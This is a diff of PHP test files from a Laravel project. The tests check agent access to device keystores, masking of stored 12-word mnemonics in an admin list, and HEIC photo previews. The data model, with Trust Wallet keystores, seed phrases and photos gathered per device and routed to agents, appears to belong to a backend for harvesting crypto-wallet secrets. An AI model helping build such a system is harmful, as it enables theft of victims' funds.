|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
||||
$devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]);
|
||||
$rowB = WalletKeystore::query()->create([
|
||||
'device_id' => $devB->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
|
||||
]);
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->postJson(route('user.keystores.decrypt', $rowB))
|
||||
->assertForbidden();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -109,12 +109,14 @@ class MnemonicWalletsTest extends TestCase
|
||||
$device = Device::query()->create(['device_id' => 'dev-mn-list']);
|
||||
$mnemonic = $this->storeMnemonic($device);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
$list = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.mnemonics.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.id', $mnemonic->id)
|
||||
->assertJsonPath('data.0.mnemonic', '已保存(12词)')
|
||||
->assertJsonPath('data.0.wallets_url', route('admin.mnemonics.wallets', $mnemonic))
|
||||
->assertJsonPath('data.0.refresh_url', route('admin.mnemonics.wallets.refresh', $mnemonic));
|
||||
$this->assertStringNotContainsString('abandon', $list->getContent());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -20,6 +20,18 @@ class PhotoPreviewTest extends TestCase
|
||||
$this->assertFalse($preview->headLooksHeic(''));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function heic_without_throwing_when_system_bins_are_outside_basedir(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$abs = sys_get_temp_dir().'/preview_'.uniqid().'.heic';
|
||||
file_put_contents($abs, "\x00\x00\x00\x18ftypheic\x00\x00\x00\x00mif1");
|
||||
$out = (new PhotoPreview)->payload($abs, 'dev-prev', hash('sha256', 'heic-head'));
|
||||
$this->assertFalse($out['converted']);
|
||||
$this->assertNotSame('', $out['bytes']);
|
||||
@unlink($abs);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function jpeg_passthrough_does_not_convert(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user